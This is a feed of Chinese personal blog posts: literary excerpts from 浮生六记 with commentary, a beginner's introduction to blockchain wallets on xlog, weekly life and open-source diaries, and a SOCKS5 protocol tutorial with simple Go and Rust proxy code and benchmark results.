此文为浮生六记中我最喜欢的一些句子摘录及点评

告母曰：若为儿择妇，非淑姊不娶。母亦爱其柔和，即脱金约指缔姻焉。此乾隆乙末七月十六日也。

时但见满室鲜衣，芸独通体素淡，仅新其鞋而已。见其绣制精巧，询为己作，始知其慧心不仅在笔墨也。其形削肩长项，瘦不露骨，眉弯目秀，顾盼神飞。惟两齿微露，似非佳相。一种缠绵之态，令人之意也消。

—— 那一刻我遇见了你，记得你当年初见的模样。不禁让人联想起渣男晏几道的词句，记得小频初见，两重心字罗衣

好羡慕沈三白，他写下这篇文章的时候居然还记得芸娘初见的摸样。

恐芸之对人堕泪，而芸反强颜劝勉，代整行装，是晚但觉神色稍异而已。临行，向余小语曰：“无人调护，自去经心。”

翻译：我本以为芸娘会因为我的离去而伤心落泪，可她却劝说我要勤勉努力，还细心体贴地帮我整理行装，我望着她忙碌的身影直到傍晚，才能察觉到那眼角中的一丝不舍和伤感临走前，她凝视着我，眼角流露出那不易察觉的泪光，”你走之后，就再没人陪伴守护你了，你一定要细心打理爱护好自己呀“

—— 无人调护，自去经心。我很诧异，这短短八个字，竟似有千斤重的橄榄

及登舟解缆，正当桃李争妍之候，而余则恍同林鸟失群，天地异色

—— 不写情处，反倒最是深情

每当风生竹院，月上蕉窗，对景怀人，梦魂颠倒。

—— 同是对窗，王摩诘谓雨中山果，灯下草虫。归有光喜风移影动，珊珊可爱。三白梦月上蕉窗，闺中佳人

因暑罢绣，终日伴余课书论古，品月评花而已。芸不善饮，强之可三杯，教以射覆为令。自以为人间之乐，无过于此矣

芸曰：“格律谨严，词旨老当，诚杜所独擅。但李诗宛如姑射仙子，有一种落花流水之趣，令人可爱。非杜亚于李，不过妾之私心宗杜心浅，爱李心深。”

余曰：“前言戏之耳。” 芸曰：“世间反目多由戏起，后勿冤妾，令人郁死！”

—— 你再作，再作我就不要你了怕不怕

但见隔岸萤光，明灭万点，梳织于柳堤蓼渚间。

余曰：“恐卿鬓斑之日，步履已艰。”芸曰：“今世不能，期以来世。”余曰：“来世卿当作男，我为女子相从。”芸曰：“必得不昧今生，方觉有情趣。”

“他生未卜此生休”，两人痴情，果邀神鉴耶？

时方七月，绿树阴浓，水面风来，蝉鸣聒耳。邻老又为制鱼竿，与芸垂钓于柳阴深处。日落时，登土山，观晚霞夕照，随意联吟，有“兽云吞落日，弓月弹流星”之句。

芸揽镜自照，狂笑不已。余强挽之，悄然径去，遍游庙中，无识出为女子者

余登岸拜奠毕，归视舟中洞然，急询舟子

—— 一个急，跃然纸上

于是相挽登舟，返棹至万年桥下，阳乌犹未落山。舟窗尽落，清风徐来，纨扇罗衫，剖瓜解暑。少焉，霞映桥红，烟笼柳暗，银蟾欲上，渔火满江矣。

余曰：“鹤善舞而不能耕，牛善耕而不能舞，物性然也，先生欲反而教之，无乃劳乎？”素云笑捶余肩曰：“汝骂我耶！

芸笑挽素云置余怀，曰：“请君摸索畅怀。”余笑曰：“卿非解人，摸索在有意无意间耳，拥而狂探，田舍郎之所为也。

时余寄居友人鲁半舫家萧爽楼中。越数日，鲁夫人误有所闻，私告芸曰：“前日闻若婿挟两妓饮于万年桥舟中，子知之否？”芸曰：“有之，其一即我也。”因以偕游始末详告之，鲁大笑，释然而去。

芸独爱千顷云高旷，坐赏良久

—— 其中总有千种含义，令人回味

区块链、智能合约、以太坊

Sat, 15 Apr 2023 00:00:00 GMT

区块链、智能合约、以太坊

旧文重写了下~

web3初体验

今天有空来了解下这些web3相关的名词，起因是接触到了xlog.app这个web3的网站，在metamask小狐狸上创建了自己的钱包，并且发布了第一篇文章，也就是做了第一笔交易

由于是头一次接触web3，因为觉得年前对于这些概念炒的太火了，导致我对这些东西一直很排斥，不过现在终于有一个可以体验的平台了

这是我的钱包公钥地址，欢迎转账👏🏻

0x52a3Bff5da58A26E496981f2979138Fe6F6E8C97

当我写一篇博客的时候，经过了一系列我不懂的环节，不过我马上意识到这本质上就是在区块链上完成了一笔交易

既然有交易，就有几个角色

发起交易方，也就是我，下图中可以看到 From 字段
交易对象，也就是 Web3Entry ，估计是xlog的账户吧？
交易费用，也就是支付给矿工的费用（因为矿工要帮忙验证和处理这一笔交易）

交易费用怎么计算呢？很简单，工作量 * 单价，单价一般用 Gwei 表示，记住就好了

从下图的交易详情可以看到这次的交易费用为0.000138659CSB （可以理解为类似CNY一样的符号）

这是交易的详情：

https://scan.crossbell.io/tx/0x749c064da6f86d5d265422884475f78ec84b302bbdf9ab68577ddd6e70e2f222

这里可以看到对应的矿工是谁，感谢他帮我签名

此处是智能合约调用，具体我们会在后面说：

未曾接触过区块链的萌新看到这些奇奇怪怪的名词都是懵的，这里就开始慢慢研究

重新认识钱包

钱包的概念其实是在不断进化的，比如我小时候知道钱包，就是指物理上那个小包包，用来装私房钱的

长大一点，开始有了银行账户，这也是我的钱包，只是每一笔交易我都要去银行，或者自助柜台机办理。这种钱包，介于虚拟（电子账户）和物理（还是摸得到钱）之间。

后来开始有微信、QQ，网上银行，扫码支付，线上转账开始普及。这时候的钱包，已经逐渐脱离了物理上的概念，转账、支付都是数字上的变化

区块链的钱包又是怎么回事呢？区块链钱包本质上并没有存钱，相反，它像一个守护神，帮助你保管一对神秘的密钥：公钥和私钥。公钥就像你的邮箱地址，你可以放心地告诉别人，让他们给你发送数字货币。而私钥则是你的专属密码，它让你能够随时随地访问并支配你的数字财富。

你可能会问，这不就意味着我有多少钱是公开的事情吗。确实如此，但是钱包地址和用户的真实身份是没有直接联系的。也就是说，你可以看到某个地址有多少钱，但是你不知道这个地址属于谁。

如果你把公钥告诉了别人，那确实可以看到你的所有交易记录，比如你现在就可以看我的交易记录：

0x52a3Bff5da58A26E496981f2979138Fe6F6E8C97 - Crossbell Explorer

看完是不是一脸懵逼，你知道我做了啥吗 /doge

背后其实就是博客发表、评论、点赞之类的记录，不过看到了也就看到了，没啥关系 /doge

当然会有些技术比如零知识证明来保障钱包的隐私性，这是后话不谈

如果你想在xlog上发表文章，则首先需要创建一个钱包，这里我们就用MetaMask小狐狸钱包，它以浏览器插件的形式存在，手机上也可以下载对应的app

初次创建只会给你一个公私钥对，私钥不会直接给你，而是给你一串英文助记词，这是日后恢复账号的重要手段（或者说唯一）

有了钱包，然后呢？

有了钱包之后，自然就能执行各种与钱相关的操作了

比如领钱

只需复制你的账户地址，就可以去 Crossbell 的水龙头上领到 CSB 代币了，是不是很良心！

虽然只能领0.02 CSB，不过你看我前面发布一篇文章才 0.000138659CSB，就知道这是笔巨款了

Crossbell Faucet

领取完之后，就可以你的账户在 Crossbell Chain 上的余额，交易情况，后续你在xlog的每一次文章发表，点赞，评论都会被视作一次交易存储在 Crossbel Chain 上

比如点赞，等于发起了一笔交易，需要签名并记录下来，发表文章则需要会提示你消耗CSB

我的文章内容存储在哪呢？

xlog使用了ipfs技术来存储，ipfs类似bt，不过更先进

我们都知道bt下载的人越多，下载速度越快，这其实就有点分布式存储的概念了，ipfs则完全是分布式的，如果离你最近的电脑有你需要的资源，那就直接通过ipfs传输给你了，不再需要去中心服务器（比如万恶的百度云）去查

如下就是ipfs的地址啦，点下就能查看

小结

其实整个web3的流程上手体验起来会觉得没啥阻碍，反倒是看着web3的一些概念会觉得头晕眼花，完全不知所云

小结

钱包其实是不断进化的，区块链钱包的实现方式和普通钱包不太一样，通过公私钥对来记录信息
既然都是钱包，那就和普通钱包一样可以管理资产
区块链钱包还可以和不同的链进行交互，可以理解为和不同的国家银行交互（毕竟币种不同）
在web3上发表文章就是一笔交易，会被记录到链上，拥有你的签名，后面我们会看到本质上就是对智能合约的调用

参考

在区块链上搭建个博客站，永久免费简单安全！ - 无知便是罪 (xlog.app)

Notion+XLog双保险自己的Blog - oppenai.eth

从此开始 Web3 生活 - xcode.eth (xlog.app)

开源、历史、Copilot(4.10~4.15)

Sat, 15 Apr 2023 00:00:00 GMT

开源、历史、Copilot(4.10~4.15)

封面图 via AI

4.10~4.13 中间间隔了4天，而不是3天

这个算法似乎直到我高中的时候才明白，我以前一直是一个对数字极度缺乏敏感的人，导致我对于简单的加减乘除算的特别慢

开源

想添加一个seebug爬虫，但是无奈写了半天还是没能完全成功，主要是多个goroutine爬的时候会报错。。等我想办法解决下

文章

终于完成了一篇socks5的文章，并且分别实现了golang和rust的socks5简易代理

https://raye.xlog.app/socks5-xie-yi-yuan-li-fen-xi-ji-shi-xian-dui-bi

历史

最近的一周，一直在看渤海小吏的视频，从楚汉双雄到三国争霸，从刀光剑影到权利斗争，从武圣惜败到丞相迟暮。

渤海小吏对历史的较真分析，对史官的春秋笔法、草蛇灰线做了细致的对比，去伪存真。真的改变了我一直以来的历史观。

在这之前，我从来都是把历史当小说看待的，其惊心动魄、波澜起伏的情节吊打一众网文。

在这之后，我终于渐渐懂得了，一起历史其实都是当代史，真的。

譬如曹操年轻时放浪形骸为何终成霸业，其实家室背景真的占了很大的比重，有一个在朝中当官，能帮忙擦屁股的老爹确实很重要 /doge

不过这也只能是一方面，为何袁绍最终在官渡败北呢？不是因为他蠢，只是因为关键时刻，他没能再一次复刻当初面临公孙瓒时的豪情壮志了，人家曹老板知道自己偷袭乌桓不成功的后果只能是死，可他袁绍没意识到，攻守之势异也。

譬如邓艾偷渡阴平为什么能成功，其本质还是刘备当时得益州不正，加之丞相离世，再也无人能真正地调和蜀汉三股势力的矛盾。邓艾偷渡阴平就剩了一万人不到，还都是破破烂烂，饥肠辘辘（翻越那么远的山路），这一群叫花子要是真能攻下一座城池就见鬼了

所以很多时候我们真得心怀敬畏，不要以为自己得意了，就忘形了。时刻提醒自己，你不是那块料，慢慢来

GitHub Copilot

还是抱着好奇心开通了Github Copilot ，支持paypal就挺舒服的

用起来感觉还行，减少了我从chatGPT复制粘贴代码的时间 /doge

不过很多bug解决不了，用express实现一个 redis CRUD的功能，代码跑起来一直报错，调试了半天才解决

socks5协议原理分析及实现对比

Mon, 10 Apr 2023 00:00:00 GMT

socks5协议原理分析及实现对比

socks5隧道原理

其实我们经常在fq的时候用到socks协议，但对于其工作原理一直没有很清晰，趁着周末捋了一下

首先什么是网络隧道？

各种百科上给出的定义整理如下：

网络隧道是在现有的网络协议之上建立的一个新的虚拟网络连接。通过在一个网络协议中封装另一个网络协议的数据包，从而实现数据在不同网络之间的传输。这种方式可以将数据在公共网络（例如互联网）上的传输与私有网络或其他网络保持隔离，从而提高数据传输的安全性。

但是这个定义太难理解，于是我开始思考为什么要叫隧道呢？

类比我们日常中见到的隧道，比如火车山谷隧道，点A到点B有一座大山，于是挖了一条A到B的隧道，这条隧道可以允许火车等车辆通过

那么类比到网络协议中，点A到点B由于某种原因无法直接通信（原因dddd），于是我们在A和B之间打一条隧道（socks5协议），然后把我们的火车（HTTP数据，毕竟我们上网也就是HTTP通信）从这条隧道传输过去

这样是不是就很容易理解socks网络隧道了！我真是个小机灵鬼

类似的在安全渗透中还有一种HTTP隧道，即将利用HTTP协议的某些特性（如chunked），建立一条HTTP隧道，传输HTTP通信数据（禁止套娃/doge) ，不过这是后话了，本文只研究socks网络隧道

从上述的类比中可以看到，socks网络隧道建立的条件如下：

目的地，即socks代理需要连接的目标
施工队即socks代理服务器

也就是说，客户端A需要有一个施工队，并且告诉施工队我要去哪，施工队才会给你挖一条隧道

最后放一个socks5隧道的定义吧，类比过来是不是觉得好理解多了

SOCKS5 隧道是一种网络协议隧道，用于在客户端和目标服务器之间传输数据。SOCKS5 是 SOCKS 协议的第五个版本，它支持多种身份验证方法，以及 IPv4 和 IPv6 地址。SOCKS5 隧道允许在其上运行各种协议（如 HTTP、FTP、SMTP 等），并在客户端和目标服务器之间提供中间代理服务。

SOCKS5 隧道的工作原理是在客户端和目标服务器之间建立一个代理服务器。客户端不直接与目标服务器通信，而是将数据发送到 SOCKS5 代理。SOCKS5 代理接收数据，然后将其转发到目标服务器。目标服务器将响应发送回 SOCKS5 代理，代理再将响应转发给客户端。

SOCKS5 隧道的主要优点是提供了一种通用的网络代理解决方案，支持多种协议和地址类型。这使得 SOCKS5 隧道可以用于绕过防火墙和内容过滤器，实现对受限网络资源的访问。

实现一个socks代理服务

这里我们选择go和rust来对比实现下socks5代理服务器，即隧道的施工队，并且简单对比下性能，看看rust和go在socks5代理这块的性能孰强孰弱

TCP 代理server实现

我们先来看看一个通用的TCP的server咋搞，这里是通信数据的传递示意图：

+-----------+       +--------------+       +--------------+
|  Browser  | <---> | TCP Proxy    | <---> | Target Server|
+-----------+       +--------------+       +--------------+

注意，TCP Proxy 本质上只是接收TCP数据并转发处理的，所以实际上socks5的请求发起方是浏览器，这也就是为什么我们通常要安装一个chrome插件（比如proxy switchy omega）来选择代理方式了

在golang中，实现一个代理服务器很简单，只需要 net.Listen 即可开启一个端口，开启端口后的server只需要不断地 Accept ，每来一个就开一个 goroutine

func main() {
	server, err := net.Listen("tcp", ":1081")
	if err != nil {
		fmt.Printf("Listen failed: %v\n", err)
		return
	}

	for {
		client, err := server.Accept()
		if err != nil {
			fmt.Printf("Accept failed: %v", err)
			continue
		}
		go process(client)
	}
}

这个client中就同时包含了浏览器发送给我们的请求，以及暴露写接口供我们写入响应数据

对应到rust中，也有一个类似goroutine的实现，tokio，实现异步的IO任务，基本代码如下：

[tokio::main]
async fn main() {
    let listener = TcpListener::bind("127.0.0.1:1080").await.unwrap();
    loop {
        let (client, _) = listener.accept().await.unwrap();
        spawn(handle_client(client));
    }
}

注意socks5代理最常用的端口是1080，如果想要在wireshark中抓包查看，wireshark只能解析1080端口的socks5通信

实现socks5代理

socks5协议本质上还是个应用层协议，数据会被打包到TCP 数据包的 payload中，sock5协议类比挖隧道可以分为几个部分，

socks5auth 先找到施工队
socks5connect 开始挖隧道
socks5forward 隧道通车了！

socks5forward 即进入隧道通行阶段，这个阶段已经没有socks5参与了，因为隧道已经挖完了，就让HTTP数据包自由的驰骋吧！

socks5auth 先找到施工队

socks5协议是由客户端先发起的：

 客户端发送
+----+----------+----------+
|VER | NMETHODS | METHODS  |
+----+----------+----------+
| 1  |    1     | 1 to 255 |
+----+----------+----------+

 服务器响应
+----+--------+
|VER | METHOD |
+----+--------+
| 1  |   1    |
+----+--------+

具体字段如下：

客户端请求

VER 版本号 1字节
NMETHODS 可供选的认证方法，1字节
METHODS (长度等于NMETHODS) 一个字节一个方法

服务端返回

VER 版本号
METHOD 认证方法，我们直接无认证梭哈，填0x00

因此第一步就只需读取请求，然后返回 0x05,0x00 给客户端表示同意连接

func Socks5Auth(client net.Conn) (err error) {
	buf := make([]byte, 256)

	// 读取 VER 和 NMETHODS
	n, err := io.ReadFull(client, buf[:2])

	ver, nMethods := int(buf[0]), int(buf[1])

	// 读取 METHODS 列表
	n, err = io.ReadFull(client, buf[:nMethods])

	//无需认证
	n, err = client.Write([]byte{0x05, 0x00})

	return nil
}

同理rust的实现：

async fn socks5_auth(client: &mut TcpStream) -> Result<(), Box<dyn std::error::Error>> {
    let mut buf = [0u8; 2]; // 初始化为[0,0]
    client.read_exact(&mut buf).await?;
    let ver = buf[0];
    let n_methods = buf[1];

    let mut methods = vec![0u8; n_methods as usize];
    client.read_exact(&mut methods).await?;

    client.write_all(&[0x05, 0x00]).await?;

    Ok(())
}

这样，socks5协议的第一步，施工队已经找到了，并且告诉客户端我来帮你挖隧道！

socks5connect 开始挖隧道

协议细节如下（数字表示字节长度）：


 客户端发送
+----+-----+-------+------+----------+----------+
|VER | CMD |  RSV  | ATYP | DST.ADDR | DST.PORT |
+----+-----+-------+------+----------+----------+
| 1  |  1  | X'00' |  1   | Variable |    2     |
+----+-----+-------+------+----------+----------+

 服务端响应
+----+-----+-------+------+----------+----------+
|VER | REP |  RSV  | ATYP | BND.ADDR | BND.PORT |
+----+-----+-------+------+----------+----------+
| 1  |  1  | X'00' |  1   | Variable |    2     |
+----+-----+-------+------+----------+----------+

客户端请求：

VER 版本号 1字节，默认为5
CMD 0x01 表示连接
RSV 保留固定位0x00
ATYP 请求类型，0x01为ipv4，0x03为域名，0x04为ipv6
DST.ADDR 地址，如果请求为域名，第一个字节为域名长度，否则4字节ipv4地址（ipv6就不管了）
DST.PORT 端口 2字节

服务端响应：

VER 版本号 1字节，默认为5
REP 确认回应 0x00 succeed
RSV 保留，默认0

后面几个字段只适用于客户端BIND命令（不是我们用到的connect命令），都传0就行了

ATYP 响应类型，0x01 表示ipv4，0x03表示域名，0x04表示ipv6
BND.ADDR 地址
BND.PORT 端口

既然这一步是挖隧道，那就要知道客户端让我们挖通往哪里的隧道，所以这里其实就分成两步

解析出客户端发给我们的目的地（按照上述协议解析）
建立通往目的地的TCP连接

客户端 → socks proxy

socks proxy → 客户端的代码就一行，我写在注释里了

func Socks5Connect(client net.Conn) (net.Conn, error) {
	buf := make([]byte, 256)

	n, err := io.ReadFull(client, buf[:4])

	// 前四个字节
	ver, cmd, _, atyp := buf[0], buf[1], buf[2], buf[3]

	addr := ""
	switch atyp {
	case 1: // 假设只有 第一种ipv4的情况
		n, err = io.ReadFull(client, buf[:4])
		if n != 4 {
			return nil, errors.New("invalid IPv4: " + err.Error())
		}
		addr = fmt.Sprintf("%d.%d.%d.%d", buf[0], buf[1], buf[2], buf[3])
		//  ...

	default:
		return nil, errors.New("invalid atyp")
	}

	// 解析端口，注意字节顺序
	n, err = io.ReadFull(client, buf[:2])

	port := binary.BigEndian.Uint16(buf[:2])

	// 得到目的地地址了！
	destAddrPort := fmt.Sprintf("%s:%d", addr, port)

	// 开始挖隧道
	dest, err := net.Dial("tcp", destAddrPort)

	// 给客户端的响应，隧道已竣工！	
	_, err = client.Write([]byte{0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0})

	return dest, nil
}

同理我们用rust实现

async fn socks5_connect(client: &mut TcpStream) -> Result<TcpStream, Box<dyn std::error::Error>> {
    let mut buf = [0u8; 4];
    client.read_exact(&mut buf).await?;

    let ver = buf[0];
    let cmd = buf[1];
    let atyp = buf[3];

    let target_addr = match atyp {
        1 => {
            let mut addr = [0u8; 4];
            client.read_exact(&mut addr).await?;
            format!("{}.{}.{}.{}", addr[0], addr[1], addr[2], addr[3])
        }
   
        _ => return Err("Invalid atyp".into()),
    };

    let mut port_buf = [0u8; 2];
    client.read_exact(&mut port_buf).await?;
    let port = u16::from_be_bytes(port_buf);

		// 开始挖隧道!
    let target = TcpStream::connect(format!("{}:{}", target_addr, port)).await?;
		
		// 告诉客户端隧道已竣工!
    client
        .write_all(&[0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0])
        .await?;

    Ok(target)
}

socks5forward 隧道通车啦

此时我们就要让客户端的client和远端的target建立连接，等于是把这个隧道拼接起来，怎么说有点类似于詹天佑当年开凿京张铁路隧道时所用的两端并进的策略

在go中，我们直接用 io.Copy 去实现

func Socks5Forward(client, target net.Conn) {
	forward := func(src, dest net.Conn) {
		defer src.Close()
		defer dest.Close()
		io.Copy(src, dest)
	}
	go forward(client, target)
	go forward(target, client)
}

在rust中，也有类似的API，tokio::io::copy

let (mut cr, mut cw) = client.split();
    let (mut tr, mut tw) = target.split();

    let c_to_t = async {
        match tokio::io::copy(&mut cr, &mut tw).await {
            Ok(_) => {}
            Err(e) => {
                eprintln!("Error forwarding from client to target: {}", e);
            }
        }
    };

    let t_to_c = async {
        match tokio::io::copy(&mut tr, &mut cw).await {
            Ok(_) => {}
            Err(e) => {
                eprintln!("Error forwarding from target to client: {}", e);
            }
        }
    };

至此，一条socks5的网络隧道建立完毕，之后就是HTTP数据包（火车）开始驰骋

wireshark抓包测试

前面已提到过，只有socks工作在1080端口时，wireshark才能正确解析出socks协议

如下图标记处socks的三个过程，具体的数据包细节可自行查看：

压测对比

这里的压测思路是搞一个http server，然后分别用go和rust实现的socks5 proxy去建立隧道，发起请求，看看实际QPS表现

为了方便就用gin来搞个http server

package main



func main() {
	r := gin.Default()
	r.GET("/ping", func(c *gin.Context) {
		c.String(200, "pong")
	})
	r.Run(":8082")
}

使用这个benchmark工具，可以支持socks5协议

go install github.com/cnlh/benchmark@latest

首先测下web server的QPS，m1 mac机器配置比较低，就用100个并发跑10w个请求吧

❯ benchmark -c 100 -n 100000 http://127.0.0.1:8082/ping -ignore-err
Running 100000 test @ 127.0.0.1:8082 by 100 connections
Request as following format:

GET /ping HTTP/1.1
Host: 127.0.0.1:8082

100000 requests in 4.45s, 11.46MB read, 4.20MB write
Requests/sec: 22464.38
Transfer/sec: 3.52MB
Error(s)    : 0
Percentage of the requests served within a certain time (ms)
    50%				2
    65%				2
    75%				3
    80%				4
    90%				8
    95%				17
    98%				29
    99%				51
   100%				82

这里的数据解释如下：

4.45s内总共完成了10w次请求
平均每秒 22464.38，即QPS为22k
最后的一段数据给出了不同时间段内请求的百分比，以及这些百分比所对应的响应时间
- 50%的请求响应在2ms内
- 99%的请求响应在51ms内

接下来有请两个施工队上场，首先是go代表的goroutine，可以看到QPS虽然有所下降，但是下降不多，并且请求耗时分布居然更均匀了？

❯ benchmark -c 100 -n 100000 -proxy socks5://127.0.0.1:1080 http://127.0.0.1:8082/ping -ignore-err
Running 100000 test @ 127.0.0.1:8082 by 100 connections
Request as following format:

GET /ping HTTP/1.1
Host: 127.0.0.1:8082

100000 requests in 4.49s, 11.46MB read, 4.20MB write
Requests/sec: 22295.77
Transfer/sec: 3.49MB
Error(s)    : 0
Percentage of the requests served within a certain time (ms)
    50%				2
    65%				3
    75%				4
    80%				4
    90%				7
    95%				14
    98%				25
    99%				35
   100%				63

接下来有请rust选手代表的tokio上场，QPS下降了2k左右，并且请求耗时分布差异更大了

❯ benchmark -c 100 -n 100000 -proxy socks5://127.0.0.1:1080 http://127.0.0.1:8082/ping -ignore-err
Running 100000 test @ 127.0.0.1:8082 by 100 connections
Request as following format:

GET /ping HTTP/1.1
Host: 127.0.0.1:8082

100000 requests in 4.95s, 11.46MB read, 4.20MB write
Requests/sec: 20218.10
Transfer/sec: 3.17MB
Error(s)    : 0
Percentage of the requests served within a certain time (ms)
    50%				3
    65%				4
    75%				4
    80%				5
    90%				7
    95%				13
    98%				25
    99%				34
   100%				92

看来 goroutine 选手终是更胜一筹

参考：

https://segmentfault.com/a/1190000038247560

http://www.moye.me/2017/08/03/analyze-socks5-protocol/

https://zgao.top/奇安信实习五-socks5协议抓包分析/

周报2 清明、羽毛球

Sat, 08 Apr 2023 00:00:00 GMT

周报2 清明、羽毛球

清明

这里记录的是raye在2023年，4.1~4.8这段时间的记录与故事。

清明节放假的时间比较尴尬，不偏不倚正好在周三。清明时节雨纷纷，这句诗不管历时多久的时光依然会被每个人记诵起。我也没啥地方可去的，和球友约好了早上7点40来公司打球，也是有一点点疯狂。打了快一个小时，不幸在接一个球后退的过程中摔了，幸好是往后倒的，脚崴的不算很严重，稍微休息了下就能正常走路了，第二天就基本完全恢复了

开源与ChatGPT

watchvuln项目提交了一个pr，得到了K师傅的感谢😋

公司内的开源项目也参与了，先完成了trpc restful 文档的翻译，之后又接了一个英语学习打卡系统的开发，之前也学过一段时间Django，于是开始撸袖子干，说起来这还是我第一次真正的用Django来开发一个项目，遇到的问题很多，准备开个连载记录下来，所幸有chatGPT的帮助，开发和debug都很高效。与我对接的都是负责项目的产品，他们实际上是不懂技术的，而就算chatGPT帮助你完成开发，对于没有任何计算机背景的人，想要成功运行起来还是难如登天因此现阶段，chatGPT、GitHub Copilot这些工具都是帮助程序员提效的工具，本质上还是程序的编译运行这些过程太繁琐了，再加上产品自己对需求本身都无法完全说清楚，取代程序员的鬼话暂时可以不用相信了

泰国之旅规划

我对泰国的印象源自《斑马》，作者傅真。元旦的时候一口气读完，算是23年读的第一本书了主要内容为女主人公苏昂前往曼谷做胚胎植入手术所经历的故事，中间夹杂着大量作者借苏昂所传达出的所思所想，我印象最深的是这段话：

以及一些摘录：

在苏昂看来这正是曼谷的魅力——在这里你可以一次看到好几个不同的世界。霓虹灯与摩天大楼的阴影下隐藏着铁皮贫民窟，五星级酒店的后街塞满了背包客聚集的破旧旅店，高档餐厅与街头大排档各行其是且同样美味，感官享乐与佛教清修格格不入却互不干扰……

但它(曼谷)仍像淫荡的灰姑娘那样心无旁骛地奋力向前。它是东南亚唯一从未被欧洲势力殖民的国家，也是东南亚城市中唯一保有秩序和享乐的地方。毋庸置疑，这就是一场不折不扣的交易。

看完书之后，就萌生出了去曼谷的心思，

因为4.26就准备和小伙伴们一起去泰国玩了，总共6个人哈哈哈，也开始提前准备一些出国的事项，有几个比较关键的

[x] 泰国电话卡，一般淘宝有卖，得提前备好
[x] 泰铢，汇率一般是1泰铢:0.2人民币，机场兑换会比较坑，国内提前换好
[] 电子落地签，泰国是可以直接落地签的，但是要排队，我还在纠结要不要折腾电子的

句子

刘慈欣写的最好的地方，是用三维视角对四维空间的全景式描绘，从翘曲的空间如何一点点进入。是对文明被毁后的详细解剖，像一个残忍的变态狂面带笑容对人类进行肢解。每每写到这里，他就开始暴走，开始癫狂，好像人类毁灭与他无关。他从容地直达理性与荒诞的终点，一千万年的时间坐标被他一笔带过，情人的相约则被鲁莽的摔倒光年的两岸，刚刚建立的致命均衡立刻被无情撕毁——从来没有什么和平与友爱，从来就没有救世主，每个文明都是森林里的猎手，每一个文明都同样也是猎物——一些读者难免抱怨作者为什么这么冷酷无情，因为在大刘笔下的，常常是超脱一切的冷冰冰的数学视角

—— 我特别喜欢这段写刘慈欣的话，摘自《南方都市报》，精炼地概括出三体的主要内容，略带夸张的呈现出大刘在科幻小说领域的思考。我还特地仿写了一段写郑渊洁，也记录如下

郑渊洁写的最好的地方，是他从一个孩童的视角去对成人世界的描绘，从大灰狼、小老鼠等被人嫌恶的角色一点点着笔。他对人性的最黑暗处进行描绘，像一个最精巧的手术专家对人类的心灵进行剖析，是对人心的无尽探索，展示出隐藏在笑声背后的深层次思考。每每写到这里，他就开始失控，开始癫狂，好像人类的喜怒哀乐都与他无关。他从容地穿越理性与荒诞的边界，将童话世界和现实生活的界限模糊化，陈旧腐朽的观念被打破，世界的运行规则被一笔带过，展现出一个充满奇幻色彩的世界。在这个世界里，孩子们学会了勇敢面对困难，感受到友谊的力量，而成人们则在这个童趣的世界中找回了失去的纯真。一些读者难免抱怨作者为什么这么善于挖掘人性的阴暗面，因为在郑渊洁笔下的，主人公常常是充满智慧与幽默的孩子。

老子平生，江南江北，最爱临风笛

—— 这句写的太狂放了，配得上黄庭坚的风格，也配得上念奴娇这个词牌

周报1 xlog第一篇周报

Mon, 03 Apr 2023 00:00:00 GMT

已经决定要开始记录自己的日常了，那就不能轻言放弃 /doge

生活

校友聚会

大家都很难，没有对比就没有伤害

昨天(3.26)参加了武大在深圳的校友聚餐，地点是福田的雪乡情。包括我12个人，最老的好像是15级的，最年轻的是18级的。毫无疑问我又是最矮的，感觉越来越在意自己的身高了

席间自然是聊了很多，印象中有两个是从事保险行业，有两个是在律师行业，本以为大家都会在互联网行业工作，反倒是只有一个小姐姐在阿里做产品经理，本以为能找到一些志趣相投的朋友，没想到大家聊的都是星座、辞职之类的话题，算了我估计之后不会再去此类聚会了。

深海电影

我知道，没有下次再见吧，归途的风一直刮

虽然我今年第一次在电影院看《深海》的时候，在故事的前半段差点睡着了，但这并不影响我认为这部电影是我最近年来最喜欢的一部。

昨晚又一次回顾了深海结尾的告别曲，太触动我的心灵了。尽管我或许没有抑郁症的经历，但是我相信抑郁症患者的内心，就像梵高的星空，有无数颗星星相伴。

用五彩斑斓的黑，去直达最深的心灵

工作

周一永远是我最活力充沛的一天，又一次体会到了在大厂工作的难处。

我感觉我的导师是很有想法的，很多事情都想投身去做，并且我也相信他是能做出成果的。但是在产品老板那边的视角来看，则是多一事不如少一事。老板会挑战的几个问题：

人力投入，ROI
对外的口径，出事的免责

我还是太年轻了，有时候没有去仔细理解话里的含义。

开源

开始第一次下决心要投入到开源的工作中去，吸引我的主要有：

就是想写代码，多学习
找到志同道合的开发者

watchvuln

在chatGPT的帮助下，快速完成了一个添加GUI界面的功能，提交了GitHub上第一个pr

终于是迈开了里程碑的一步，

这个项目我前几天提了个issue，本想着过几天写一下的，没想到author已经写完了，看到issues下面有好多人在回复，突然觉得很开心！

https://github.com/zema1/watchvuln/issues/2

公司内的开源协同也参与了，领了一个类似phpmyadmin系统的issue，技术栈是react+django

issue中提到，如果执行sql连接查询，查询的结果显示为(Special Type)，令人费解

但是和issue author对了半天也没能复现问题，目前初步讨论的猜测是表的字段存在外键导致的

外键：表的非主键字段是另一张表的主键

这里脑子又抽风了，本来执行有外键关系的建表语句，外键对应的表是需要先存在的

但是很疑惑，同事给我的 sql 文件，直接导入就能执行成功，后来才意识到，sql文件的前半部分有一大段注释，这些注释是能执行的（mysql特性了，sql注入常会用到）

ChatGPT-Desktop

闲逛的时候接触到了https://github.com/ChatGPT-Desktop/ChatGPT-Desktop.git这个项目，技术栈是 tauri + vue ，了解到这是一种类似于electron的跨平台桌面端构建技术

都是基于webview，但我的理解是tauri底层用rust来写，并且复用了OS层的webview，可以减小包体积

但光凭这一点，似乎还不足以支撑使用这套方案的理由，查了还有如下优点：

依赖更少，Tauri依赖原生操作系统，不再需要打包chromium
更好定制化

通过这个watchvuln项目认识到了K师傅，还认识到了郁离歌师傅！哈哈哈哈没想到居然通过这种神奇的方式

这里记录的是raye在2023年3.27~3.31这段时间的经历、思考、故事。

羽毛球

这两天终于体会到，高端拍和低端拍的区别了，我买的是胜利极速，互拉高远球的时候，打感是真的舒服，能体会到球被击出去的快感！贫穷是真的限制了我的想象力😭

句子

偶尔会刷到B站一些美妙的句子，自己的手机锁屏界面也有西窗烛的小组件，随手记录一些心中一闪而过的美好

时光清浅处，一步一安然

—— 有点像岁月静好，现世安稳，但这句话已经被用烂了。四字句有四言的工整，五字句有五言的美感。有时候一首歌听完，一个念头闪过，可能一天、一辈子就结束了。自其变者而观之，则天地曾不能以一瞬

时有落花至，远随流水香

